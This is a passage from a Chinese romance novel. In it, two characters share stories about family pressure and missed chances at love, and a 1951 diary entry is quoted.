“要要要,要的呀。”仲希文急死了。
“20岁那年我加入了一个学校乐团,里面还有一位华人女孩,不过她从来没到过中国,她就经常找我问国内的事情,有一天晚上我被一个黑人追着揍,说我让他女朋友劈腿,然后把我打成脑震荡。”周沄声指着自己的头,也是很委屈。
刚才听她讲故事的时候他都很认真,所以仲希文憋着笑,憋不住的话她可能想去死。他但凡严肃三分她都笑不出来。
“真的很过分,是不是?”
“哈……”仲希文掐住自己大腿,“你说就说,不要问我问题,我笑点很低的。”
“你刚也有问我问题,你问谈恋爱跟性别存在必然关系吗?应该是没有。”
他为什么要把DDDD(懂的都懂)的问题答出来!仲希文把脸埋在猫肚子上,快笑死了。
“你还要不要听啊?”
“要要要,你讲。”
“这件事闹很大,我舅舅直接找律师打官司,后面我就有了私人保镖。曼斯顿是我待得最久的公司,从22岁到32岁,明令禁止内部恋爱。”
“就这?不内部,那就外部啊,你不认识外面的姑娘?”
周沄声把猫抢过去,语气有些无奈:“我家人不喜欢外国人啦,不肯跟我回国的也不行,那么多的标准放在那边,都没有合适的人。”
“恋爱不一定要结婚啊,恋爱可以只是体验,阿声你不是太乖了?”
“那你不也一样没有体验?”
“我不想浪费体验卡好不好,体验不好的话退货很麻烦。”
周沄声也笑了,“好像我的故事,不算什么故事,只是我浪费体验机会的十几年,一转眼我都35岁了。”
“不啊,就是故事,是我们在成长中错失的一段经历,现在我们长大了,他们才对我们放下那些条条框框,可我们还有机会痛痛快快谈一次恋爱吗?”
仲希文把自己的脚从水里提起来,白皙的皮肤已经变成粉色,泡得过头了。
茶几上是那本《西爱咸司路667号日记》,1951年12月6日那天写的是:【今日我喝了喜酒,新娘子给我发喜糖,说希望可以早点吃到我的喜糖,我说好啊,等若平回来我们就结婚。我弟弟听到了,生气说可以不是若平!我说不行,别的人阿姐不喜欢。我为什么不能等若平回来,错过他多可惜。】
“有吧?”周沄声的语气很弱很弱,受伤的那只手抚摸着荷包软软的肚子,“我不知道。”
“我要是遇到良人,我一定要跟他结婚生孩子,直接体验一步到位,我姑奶奶就差了结婚这一步,所以没办法跟周老先生去台城。”仲希文定睛看着周沄声,“差一步就是一生,我可以没有,但绝不能错过。”
周沄声鼻子有点酸,很快躲开她的目光,“好烫,我现在浑身都好热,怎么办?”